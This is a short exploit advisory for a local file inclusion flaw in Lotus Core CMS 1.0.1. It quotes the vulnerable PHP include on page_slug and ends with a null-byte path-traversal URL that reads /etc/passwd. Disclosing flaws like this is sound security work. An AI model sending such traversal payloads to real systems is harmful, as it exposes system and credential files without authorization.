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Lotus Core CMS 1.0.1 Local File Inclusion

Lotus Core CMS 1.0.1 Local File Inclusion
Posted Jan 31, 2020
Authored by Daniel Monzon

Lotus Core CMS version 1.0.1 suffers from a local file inclusion vulnerability.

tags | exploit, local, file inclusion
MD5 | 641de06b076788171ff9f640f27f6e23

Lotus Core CMS 1.0.1 Local File Inclusion

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# Exploit Title: Lotus Core CMS 1.0.1 - Local File Inclusion
# Google Dork: N/A
# Date: 2020-01-31
# Exploit Author: Daniel Monzón (stark0de)
# Vendor Homepage: http://lotuscore.sourceforge.net/
# Software Link: https://sourceforge.net/projects/lotuscore/files/latest/download
# Version: 1.0.1
# Tested on: Windows 7 x86
# CVE : N/A


The vulnerability occurs on line 65 of the index.php file, first we can provide the page_slug parameter,
if it's not set by the user it is set to index, but if the user sets the parameter via a GET or POST request,
it checks if the file exists and if it exists, it performs an unsanitized inclusion.

-----------------------------------------------------------------------------

if(!$_REQUEST['page_slug']){
$_REQUEST['page_slug'] = 'index';
}
if(file_exists('system/plugins/'.$_REQUEST['page_slug'].'.php') == true){
include('system/plugins/'.$_REQUEST['page_slug'].'.php');
}else{
include("system/plugins/error/404.php");
}

------------------------------------------------------------------------------


The PHP file appends .php to anything we provide as page_slug parameter so to include any file we must use a nullbyte.
Note that you need to be authenticated to exploit this. The explotation would be like this:

http://site:80/index.php?page_slug=../../../../../etc/passwd%00

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